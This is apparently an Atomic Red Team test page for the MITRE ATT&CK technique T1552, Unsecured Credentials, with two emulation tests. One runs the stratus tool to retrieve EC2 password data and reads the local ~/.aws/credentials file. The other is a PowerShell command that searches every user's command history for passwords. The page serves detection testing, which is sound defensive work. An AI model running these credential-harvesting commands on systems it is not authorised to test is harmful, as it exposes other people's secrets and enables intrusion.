# T1552 - Unsecured Credentials ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1552)
Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)
## Atomic Tests - [Atomic Test #1 - AWS - Retrieve EC2 Password Data using stratus](#atomic-test-1---aws---retrieve-ec2-password-data-using-stratus) - [Atomic Test #2 - Search for Passwords in Powershell History](#atomic-test-2---search-for-passwords-in-powershell-history)
## Atomic Test #1 - AWS - Retrieve EC2 Password Data using stratus This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/ **Supported Platforms:** Linux, macOS, Iaas:aws **auto_generated_guid:** a21118de-b11e-4ebd-b655-42f11142df0c #### Inputs: | Name | Description | Type | Default Value | |------|-------------|------|---------------| | stratus_path | Path of stratus binary | path | $PathToAtomicsFolder/T1552/src| | aws_region | AWS region to detonate | string | us-west-2| #### Attack Commands: Run with `sh`! ```sh export AWS_REGION=#{aws_region} cd #{stratus_path} echo "starting warmup" ./stratus warmup aws.credential-access.ec2-get-password-data echo "starting detonate" ./stratus detonate aws.credential-access.ec2-get-password-data --force ``` #### Cleanup Commands: ```sh export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus* ``` #### Dependencies: Run with `sh`! ##### Description: Stratus binary must be present at the (#{stratus_path}/stratus) ##### Check Prereq Commands: ```sh if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi; ``` ##### Get Prereq Commands: ```sh if [ "$(uname)" == "Darwin" ] then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/ elif [ "$(expr substr $(uname) 1 5)" == "Linux" ] then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Linux_x86_64 | cut -d '"' -f 4) wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/ fi ``` ##### Description: Check if ~/.aws/credentials file has a default stanza is configured ##### Check Prereq Commands: ```sh cat ~/.aws/credentials | grep "default" ``` ##### Get Prereq Commands: ```sh echo Please install the aws-cli and configure your AWS defult profile using: aws configure ```

## Atomic Test #2 - Search for Passwords in Powershell History Find passwords in the powershell history files Searching for following strings: "password", "-p", "key", "pwd", "pass" **Supported Platforms:** Windows **auto_generated_guid:** f9c3d0ab-479b-4019-945f-22ace2b1731a #### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin) ```powershell ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String "password", "-p", "key", "pwd", "pass" ```